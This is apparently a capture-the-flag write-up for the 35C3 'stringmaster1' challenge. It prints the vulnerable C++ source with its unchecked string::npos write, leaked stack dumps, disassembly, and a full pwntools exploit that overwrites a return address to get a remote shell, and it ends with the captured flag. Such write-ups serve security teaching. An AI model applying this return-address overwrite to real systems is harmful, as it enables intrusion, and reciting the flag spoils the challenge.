stringmaster1

PWN

Description:

> Eat, sleep, swap, replace

```
#include <iostream>
#include <cstdlib>
#include <ctime>
#include <vector>
#include <unistd.h>
#include <limits>


using namespace std;

const string chars = "abcdefghijklmnopqrstuvwxy";


void spawn_shell() {
    char* args[] = {(char*)"/bin/bash", NULL};
    execve("/bin/bash", args, NULL);
}


void print_menu() {
    cout << endl;
    cout << "Enter the command you want to execute:" << endl;
    cout << "[1] swap <index1> <index2>                   (Cost: 1)" << endl;
    cout << "[2] replace <char1> <char2>                  (Cost: 1)" << endl;
    cout << "[3] print                                    (Cost: 1)" << endl;
    cout << "[4] quit                                              " << endl;
    cout << "> ";
}

void play() {
    string from(10, '\00');
    string to(10, '\00');
    for (int i = 0; i < 10; ++i) {
        from[i] = chars[rand() % (chars.length() - 1)];
        to[i] = chars[rand() % (chars.length() - 1)];
    }


    cout << "Perform the following operations on String1 to generate String2 with minimum costs." << endl <
    cout << "[1] swap <index1> <index2>                   (Cost: 1)" << endl;
    cout << "    Swaps the char at index1 with the char at index2  " << endl;
    cout << "[2] replace <char1> <char2>                  (Cost: 1)" << endl;
    cout << "    Replaces the first occurence of char1 with char2  " << endl;
    cout << "[3] print                                    (Cost: 1)" << endl;
    cout << "    Prints the current version of the string          " << endl;
    cout << "[4] quit                                              " << endl;
    cout << "    Give up and leave the game                        " << endl;
    cout << endl;
    cout << "String1: " << from << endl;
    cout << "String2: " << to << endl;
    cout << endl;
    unsigned int costs = 0;
    string s(from);

    while (true) {
        print_menu();

        string command;
        cin >> command;

        if (command == "swap") {
            unsigned int i1, i2;
            cin >> i1 >> i2;
            if (cin.good() && i1 < s.length() && i2 < s.length()) {
                swap(s[i1], s[i2]);
            }
            costs += 1;
        } else if (command == "replace") {
            char c1, c2;
            cin >> c1 >> c2;
            auto index = s.find(c1);
            cout << c1 << c2 << index << endl;
            if (index >= 0) {
                s[index] = c2;
            }
            costs += 1;
        } else if (command == "print") {
            cout << s << endl;
            costs += 1;
        } else if (command == "quit") {
            cout << "You lost." << endl;
            break;
        } else {
            cout << "Invalid command" << endl;
        }

        if (!cin) {
            cin.clear();
            cin.ignore(numeric_limits<streamsize>::max(), '\n');
        }
        if (!cout) {
            cout.clear();
        }

        if (s == to) {
            cout << s.length() << endl;
            cout << endl;
            cout << "****************************************" << endl;
            cout << "* Congratulations                       " << endl;
            cout << "* You solved the problem with cost: " << costs << endl;
            cout << "****************************************" << endl;
            cout << endl;
            break;
        }
    }
}




int main() {
    srand(time(nullptr));

    play();
}
```

A binary file was attached as well.

Solution:

Let's see what the program does:

```
root@kali:/media/sf_CTFs/35c3ctf/stringmaster1# ./stringmaster1
Perform the following operations on String1 to generate String2 with minimum costs.

[1] swap <index1> <index2>                   (Cost: 1)
    Swaps the char at index1 with the char at index2
[2] replace <char1> <char2>                  (Cost: 1)
    Replaces the first occurence of char1 with char2
[3] print                                    (Cost: 1)
    Prints the current version of the string
[4] quit
    Give up and leave the game

String1: pemgklfswr
String2: cpkscqhfsk


Enter the command you want to execute:
[1] swap <index1> <index2>                   (Cost: 1)
[2] replace <char1> <char2>                  (Cost: 1)
[3] print                                    (Cost: 1)
[4] quit
```

After playing around a bit, I tried replacing a letter which isn't present in the string:

```
String1: cxreaxqrqc
String2: auvvlvepeo


Enter the command you want to execute:
[1] swap <index1> <index2>                   (Cost: 1)
[2] replace <char1> <char2>                  (Cost: 1)
[3] print                                    (Cost: 1)
[4] quit
> replace c d
cd0

Enter the command you want to execute:
[1] swap <index1> <index2>                   (Cost: 1)
[2] replace <char1> <char2>                  (Cost: 1)
[3] print                                    (Cost: 1)
[4] quit
> replace x z
xz1

Enter the command you want to execute:
[1] swap <index1> <index2>                   (Cost: 1)
[2] replace <char1> <char2>                  (Cost: 1)
[3] print                                    (Cost: 1)
[4] quit
> print
dzreaxqrqc

Enter the command you want to execute:
[1] swap <index1> <index2>                   (Cost: 1)
[2] replace <char1> <char2>                  (Cost: 1)
[3] print                                    (Cost: 1)
[4] quit
> replace v m
vm18446744073709551615
```

Instead of printing the index which was replaced, the program printed 18446744073709551615, which is UINT64_MAX (and also `std::string::npos` , which is returned by `std::string::find` if no matches were found when searching for the first occurrence of a character):

```
auto index = s.find(c1);
            cout << c1 << c2 << index << endl;
            if (index >= 0) {
                s[index] = c2;
            }
```

Furthermore, when calling `print` at this state, the program prints much more information than earlier:

```
> print
dzreaxqrqc      �)�
       auvvlvepeo      0)�
       cxreaxqrqc       �              $@      �@     `*�                  m$@         �{|  *�  h*�  y.|�
S$@             :PQ��@     `*�                   :�:�~a             O�  �O�  MO�  iO�  O�  O�          !
p�  �           �        �      �       d                  �              �              �       i,�  �
�       O� �Xx86_64
```

Can this be the stack? Let's take a look at the hex output of such a sequence:

```
00000000  63 78 63 67  64 62 74 69  76 67 00 00  00 00 00 00  |cxcg|dbti|vg··|····|
00000010  20 94 2c 57  fe 7f 00 00  0a 00 00 00  00 00 00 00  | ·,W|····|····|····|
00000020  6f 64 65 78  62 61 6f 67  63 64 00 00  00 00 00 00  |odex|baog|cd··|····|
00000030  40 94 2c 57  fe 7f 00 00  0a 00 00 00  00 00 00 00  |@·,W|····|····|····|
00000040  63 78 63 67  64 62 74 69  76 67 00 00  00 00 00 00  |cxcg|dbti|vg··|····|
00000050  02 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000060  e0 24 40 00  00 00 00 00  c0 10 40 00  00 00 00 00  |·$@·|····|··@·|····|
00000070  70 95 2c 57  fe 7f 00 00  00 00 00 00  00 00 00 00  |p·,W|····|····|····|
00000080  00 00 00 00  00 00 00 00  6d 24 40 00  00 00 00 00  |····|····|m$@·|····|
00000090  00 00 00 00  00 00 00 00  17 7b bd ed  8b 7f 00 00  |····|····|·{··|····|
000000a0  88 95 2c 57  fe 7f 00 00  78 95 2c 57  fe 7f 00 00  |··,W|····|x·,W|····|
000000b0  b0 79 e4 ed  01 00 00 00  53 24 40 00  00 00 00 00  |·y··|····|S$@·|····|
000000c0  00 00 00 00  00 00 00 00  c7 78 5f 4e  c0 30 b5 12  |····|····|·x_N|·0··|
000000d0  c0 10 40 00  00 00 00 00  70 95 2c 57  fe 7f 00 00  |··@·|····|p·,W|····|
000000e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
000000f0  c7 78 df 2e  19 9e 49 ed  c7 78 01 f2  3a eb a2 ed  |·x·.|··I·|·x··|:···|
00000100  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000110  00 00 00 00  00 00 00 00  88 95 2c 57  fe 7f 00 00  |····|····|··,W|····|
00000120  70 f1 f4 ed  8b 7f 00 00  d6 51 f3 ed  8b 7f 00 00  |p···|····|·Q··|····|
00000130  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
00000140  00 00 00 00  00 00 00 00  c0 10 40 00  00 00 00 00  |····|····|··@·|····|
00000150  70 95 2c 57  fe 7f 00 00  ea 10 40 00  00 00 00 00  |p·,W|····|··@·|····|
00000160  68 95 2c 57  fe 7f 00 00  1c 00 00 00  00 00 00 00  |h·,W|····|····|····|
00000170  01 00 00 00  00 00 00 00  fd a7 2c 57  fe 7f 00 00  |····|····|··,W|····|
00000180  00 00 00 00  00 00 00 00  0d a8 2c 57  fe 7f 00 00  |····|····|··,W|····|
00000190  18 a8 2c 57  fe 7f 00 00  2c a8 2c 57  fe 7f 00 00  |··,W|····|,·,W|····|
000001a0  3c a8 2c 57  fe 7f 00 00  58 a8 2c 57  fe 7f 00 00  |<·,W|····|X·,W|····|
000001b0  6a a8 2c 57  fe 7f 00 00  72 a8 2c 57  fe 7f 00 00  |j·,W|····|r·,W|····|
000001c0  85 a8 2c 57  fe 7f 00 00  a3 a8 2c 57  fe 7f 00 00  |··,W|····|··,W|····|
000001d0  8f ae 2c 57  fe 7f 00 00  b8 ae 2c 57  fe 7f 00 00  |··,W|····|··,W|····|
000001e0  c9 ae 2c 57  fe 7f 00 00  ea ae 2c 57  fe 7f 00 00  |··,W|····|··,W|····|
000001f0  f7 ae 2c 57  fe 7f 00 00  01 af 2c 57  fe 7f 00 00  |··,W|····|··,W|····|
00000200  15 af 2c 57  fe 7f 00 00  64 af 2c 57  fe 7f 00 00  |··,W|····|d·,W|····|
00000210  98 af 2c 57  fe 7f 00 00  a3 af 2c 57  fe 7f 00 00  |··,W|····|··,W|····|
00000220  d6 af 2c 57  fe 7f 00 00  00 00 00 00  00 00 00 00  |··,W|····|····|····|
```

In parallel, let's take a look at the assembly of `main`:

```
[0x004010c0]> s sym.main
[0x00402453]> pdf
            ;-- main:
/ (fcn) sym.main 36
|   sym.main (int argc, char **argv, char **envp);
|           ; DATA XREF from entry0 (0x4010dd)
|           0x00402453      4883ec08       sub rsp, 8
|           0x00402457      bf00000000     mov edi, 0
|           0x0040245c      e84febffff     call sym.imp.time           ; time_t time(time_t *timer)
|           0x00402461      89c7           mov edi, eax
|           0x00402463      e868ebffff     call sym.imp.srand          ; void srand(int seed)
|           0x00402468      e867f0ffff     call sym.play
|           0x0040246d      b800000000     mov eax, 0
|           0x00402472      4883c408       add rsp, 8
\           0x00402476      c3             ret
```

The function calls `play`, which drives the game. After the game finishes, we will return to the following command:

```
0x0040246d      b800000000     mov eax, 0
```

And indeed, we can see this return address in the hex dump, at location 0x88:

```
00000080  00 00 00 00  00 00 00 00  6d 24 40 00  00 00 00 00  │····│····│m$@·│····│
```

If so, we can easily replace the return address with anything we want by playing the swap & replace game, and then quit the game to jump to a location of our choice. Obviously, the natural choice would be to jump to `spawn_shell`.

Putting it all together:

```python
from pwn import *
import argparse
import os
import string

#context.log_level = "debug"
LOCAL_PATH = "./stringmaster1"

def get_process(is_remote = False):
    if is_remote:
        return remote("35.207.132.47", 22224)
    else:
        return process(LOCAL_PATH)

def read_menu(proc):
    proc.recvuntil("\n> ")

def swap(proc, index1, index2):
    read_menu(proc)
    proc.sendline("swap")
    proc.sendline("{} {}".format(index1, index2))
    log.info("Swapping index {} and {}".format(index1, index2))

def replace(proc, char1, char2):
    read_menu(proc)
    proc.sendline("replace")
    proc.sendline("{} {}".format(char1, char2))
    log.info("Replacing '{}' and '{}'".format(char1, char2))

def print_info(proc):
    read_menu(proc)
    proc.sendline("print")
    return proc.recvuntil("\nEnter the command you want to execute:", drop = True)

def quit(proc):
    read_menu(proc)
    proc.sendline("quit")
    log.info("Quitting...")

parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()

e = ELF(LOCAL_PATH)

p = get_process(args.remote)
p.recvuntil("String1: ")
str1 = p.recvline()
p.recvuntil("String2: ")
str2 = p.recvline()

log.info("String 1: {}".format(str1))
log.info("String 2: {}".format(str2))
for x in string.ascii_lowercase:
    if x not in str1:
        missing_letter = x
        break
replace(p, x, x)

# 0x40246d (ret) -> 0x4011A7 (shell)

spawn_shell_addr = e.symbols["_Z11spawn_shellv"]
log.info("Address of spawn_shell: {}".format(hex(spawn_shell_addr)))

print "Before modification:"
print hexdump(print_info(p))
```

```
base_index = 0x88
for i, char in enumerate(p64(spawn_shell_addr)):
    replace(p, str1[0], char)
    swap(p, 0, base_index + i)
    str1 = print_info(p)[:len(str1)]

print "After modification:"
print hexdump(print_info(p))
quit(p)
p.interactive()
```

The output:

```
root@kali:/media/sf_CTFs/35c3ctf/stringmaster1# python exploit.py -r
[*] '/media/sf_CTFs/35c3ctf/stringmaster1/stringmaster1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 35.207.132.47 on port 22224: Done
[*] String 1: xiubaoxvlf
[*] String 2: xhipigncjw
[*] Replacing 'c' and 'c'
[*] Address of spawn_shell: 0x4011a7
Before modification:
00000000  78 69 75 62  61 6f 78 76  6c 66 00 00  00 00 00 00  │xiub│aoxv│lf··│····│
00000010  80 ae fd 98  ff 7f 00 00  0a 00 00 00  00 00 00 00  │····│····│····│····│
00000020  78 68 69 70  69 67 6e 63  6a 77 00 00  00 00 00 00  │xhip│ignc│jw··│····│
00000030  a0 ae fd 98  ff 7f 00 00  0a 00 00 00  00 00 00 00  │····│····│····│····│
00000040  78 69 75 62  61 6f 78 76  6c 66 00 00  00 00 00 00  │xiub│aoxv│lf··│····│
00000050  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000060  e0 24 40 00  00 00 00 00  c0 10 40 00  00 00 00 00  │·$@·│····│··@·│····│
00000070  d0 af fd 98  ff 7f 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000080  00 00 00 00  00 00 00 00  6d 24 40 00  00 00 00 00  │····│····│m$@·│····│
00000090  00 00 00 00  00 00 00 00  97 bb e2 6c  cc 7f 00 00  │····│····│···l│····│
000000a0  90 ff ff ff  ff ff ff ff  d8 af fd 98  ff 7f 00 00  │····│····│····│····│
000000b0  90 ff ff ff  01 00 00 00  53 24 40 00  00 00 00 00  │····│····│S$@·│····│
000000c0  00 00 00 00  00 00 00 00  f4 4b e9 91  1c 11 93 84  │····│····│·K··│····│
000000d0  c0 10 40 00  00 00 00 00  d0 af fd 98  ff 7f 00 00  │··@·│····│····│····│
000000e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000000f0  f4 4b 29 86  67 20 6c 7b  f4 4b b7 ae  59 c8 0b 7b  │·K)·│g l{│·K··│Y··{│
00000100  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000110  00 00 00 00  00 00 00 00  33 c7 7a 6d  cc 7f 00 00  │····│····│3·zm│····│
00000120  b8 c2 78 6d  cc 7f 00 00  a2 87 23 00  00 00 00 00  │··xm│····│··#·│····│
00000130  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000140  00 00 00 00  00 00 00 00  c0 10 40 00  00 00 00 00  │····│····│··@·│····│
00000150  d0 af fd 98  ff 7f 00 00  ea 10 40 00  00 00 00 00  │····│····│··@·│····│
00000160  c8 af fd 98  ff 7f 00 00  1c 00 00 00  00 00 00 00  │····│····│····│····│
00000170  01 00 00 00  00 00 00 00  46 cf fd 98  ff 7f 00 00  │····│····│F···│····│
00000180  00 00 00 00  00 00 00 00  54 cf fd 98  ff 7f 00 00  │····│····│T···│····│
00000190  6a cf fd 98  ff 7f 00 00  75 cf fd 98  ff 7f 00 00  │j···│····│u···│····│
000001a0  80 cf fd 98  ff 7f 00 00  c2 cf fd 98  ff 7f 00 00  │····│····│····│····│
000001b0  c8 cf fd 98  ff 7f 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000001c0  21 00 00 00  00 00 00 00  00 b0 ff 98  ff 7f 00 00  │!···│····│····│····│
000001d0  10 00 00 00  00 00 00 00  ff fb 8b 1f  00 00 00 00  │····│····│····│····│
000001e0  06 00 00 00  00 00 00 00  00 10 00 00  00 00 00 00  │····│····│····│····│
000001f0  11 00 00 00  00 00 00 00  64 00 00 00  00 00 00 00  │····│····│d···│····│
00000200  03 00 00 00  00 00 00 00  40 00 40 00  00 00 00 00  │····│····│@·@·│····│
00000210  04 00 00 00  00 00 00 00  38 00 00 00  00 00 00 00  │····│····│8···│····│
00000220  05 00 00 00  00 00 00 00  09 00 00 00  00 00 00 00  │····│····│····│····│
00000230  07 00 00 00  00 00 00 00  00 c0 79 6d  cc 7f 00 00  │····│····│··ym│····│
00000240  08 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000250  09 00 00 00  00 00 00 00  c0 10 40 00  00 00 00 00  │····│····│··@·│····│
00000260  0b 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000270  0c 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000280  0d 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000290  0e 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
000002a0  17 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000002b0  19 00 00 00  00 00 00 00  69 b1 fd 98  ff 7f 00 00  │····│····│i···│····│
000002c0  1a 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000002d0  1f 00 00 00  00 00 00 00  e9 cf fd 98  ff 7f 00 00  │····│····│····│····│
000002e0  0f 00 00 00  00 00 00 00  79 b1 fd 98  ff 7f 00 00  │····│····│y···│····│
000002f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000300  00 00 00 00  00 00 00 00  00 9e 26 c3  ae af 40 3d  │····│····│··&·│··@=│
00000310  c5 14 6c ce  88 49 42 fa  a5 78 38 36  5f 36 34 00  │··l·│·IB·│·x86│_64·│
```

```
00000320  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
*
00001000
[*] Replacing 'x' and '\xa7'
[*] Swapping index 0 and 136
[*] Replacing 'm' and '\x11'
[*] Swapping index 0 and 137
[*] Replacing '$' and '@'
[*] Swapping index 0 and 138
[*] Replacing '@' and '\x00'
[*] Swapping index 0 and 139
[*] Replacing '\x00' and '\x00'
[*] Swapping index 0 and 140
[*] Replacing '\x00' and '\x00'
[*] Swapping index 0 and 141
[*] Replacing '\x00' and '\x00'
[*] Swapping index 0 and 142
[*] Replacing '\x00' and '\x00'
[*] Swapping index 0 and 143
After modification:
00000000  00 69 75 62  61 6f 78 76  6c 66 00 00  00 00 00 00  │·iub│aoxv│lf··│····│
00000010  80 ae fd 98  ff 7f 00 00  0a 00 00 00  00 00 00 00  │····│····│····│····│
00000020  78 68 69 70  69 67 6e 63  6a 77 00 00  00 00 00 00  │xhip│ignc│jw··│····│
00000030  a0 ae fd 98  ff 7f 00 00  0a 00 00 00  00 00 00 00  │····│····│····│····│
00000040  78 69 75 62  61 6f 78 76  6c 66 00 00  00 00 00 00  │xiub│aoxv│lf··│····│
00000050  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000060  e0 24 40 00  00 00 00 00  c0 10 40 00  00 00 00 00  │·$@·│····│··@·│····│
00000070  d0 af fd 98  ff 7f 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000080  00 00 00 00  00 00 00 00  a7 11 40 00  00 00 00 00  │····│····│··@·│····│
00000090  00 00 00 00  00 00 00 00  97 bb e2 6c  cc 7f 00 00  │····│····│···l│····│
000000a0  90 ff ff ff  ff ff ff ff  d8 af fd 98  ff 7f 00 00  │····│····│····│····│
000000b0  90 ff ff ff  01 00 00 00  53 24 40 00  00 00 00 00  │····│····│S$@·│····│
000000c0  00 00 00 00  00 00 00 00  f4 4b e9 91  1c 11 93 84  │····│····│·K··│····│
000000d0  c0 10 40 00  00 00 00 00  d0 af fd 98  ff 7f 00 00  │··@·│····│····│····│
000000e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000000f0  f4 4b 29 86  67 20 6c 7b  f4 4b b7 ae  59 c8 0b 7b  │·K)·│g l{│·K··│Y··{│
00000100  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000110  00 00 00 00  00 00 00 00  33 c7 7a 6d  cc 7f 00 00  │····│····│3·zm│····│
00000120  b8 c2 78 6d  cc 7f 00 00  a2 87 23 00  00 00 00 00  │··xm│····│··#·│····│
00000130  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000140  00 00 00 00  00 00 00 00  c0 10 40 00  00 00 00 00  │····│····│··@·│····│
00000150  d0 af fd 98  ff 7f 00 00  ea 10 40 00  00 00 00 00  │····│····│··@·│····│
00000160  c8 af fd 98  ff 7f 00 00  1c 00 00 00  00 00 00 00  │····│····│····│····│
00000170  01 00 00 00  00 00 00 00  46 cf fd 98  ff 7f 00 00  │····│····│F···│····│
00000180  00 00 00 00  00 00 00 00  54 cf fd 98  ff 7f 00 00  │····│····│T···│····│
00000190  6a cf fd 98  ff 7f 00 00  75 cf fd 98  ff 7f 00 00  │j···│····│u···│····│
000001a0  80 cf fd 98  ff 7f 00 00  c2 cf fd 98  ff 7f 00 00  │····│····│····│····│
000001b0  c8 cf fd 98  ff 7f 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000001c0  21 00 00 00  00 00 00 00  00 b0 ff 98  ff 7f 00 00  │!···│····│····│····│
000001d0  10 00 00 00  00 00 00 00  ff fb 8b 1f  00 00 00 00  │····│····│····│····│
000001e0  06 00 00 00  00 00 00 00  00 10 00 00  00 00 00 00  │····│····│····│····│
000001f0  11 00 00 00  00 00 00 00  64 00 00 00  00 00 00 00  │····│····│d···│····│
00000200  03 00 00 00  00 00 00 00  40 00 40 00  00 00 00 00  │····│····│@·@·│····│
00000210  04 00 00 00  00 00 00 00  38 00 00 00  00 00 00 00  │····│····│8···│····│
00000220  05 00 00 00  00 00 00 00  09 00 00 00  00 00 00 00  │····│····│····│····│
00000230  07 00 00 00  00 00 00 00  00 c0 79 6d  cc 7f 00 00  │····│····│··ym│····│
00000240  08 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000250  09 00 00 00  00 00 00 00  c0 10 40 00  00 00 00 00  │····│····│··@·│····│
00000260  0b 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000270  0c 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000280  0d 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
00000290  0e 00 00 00  00 00 00 00  e8 03 00 00  00 00 00 00  │····│····│····│····│
000002a0  17 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000002b0  19 00 00 00  00 00 00 00  69 b1 fd 98  ff 7f 00 00  │····│····│i···│····│
000002c0  1a 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000002d0  1f 00 00 00  00 00 00 00  e9 cf fd 98  ff 7f 00 00  │····│····│····│····│
000002e0  0f 00 00 00  00 00 00 00  79 b1 fd 98  ff 7f 00 00  │····│····│y···│····│
000002f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000300  00 00 00 00  00 00 00 00  00 9e 26 c3  ae af 40 3d  │····│····│··&·│··@=│
00000310  c5 14 6c ce  88 49 42 fa  a5 78 38 36  5f 36 34 00  │··l·│·IB·│·x86│_64·│
00000320  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
*
00001000
[*] Quitting...
[*] Switching to interactive mode
You lost.
$ ls
```

```
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
stringmaster1
sys
tmp
usr
var
$ cat flag.txt
35C3_a6a9d10c61a652d23fbd0e9f73e638dac093472c
$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 35.207.132.47 port 22224
[*] Got EOF while sending in interactive
```

The flag: 35C3_a6a9d10c61a652d23fbd0e9f73e638dac093472c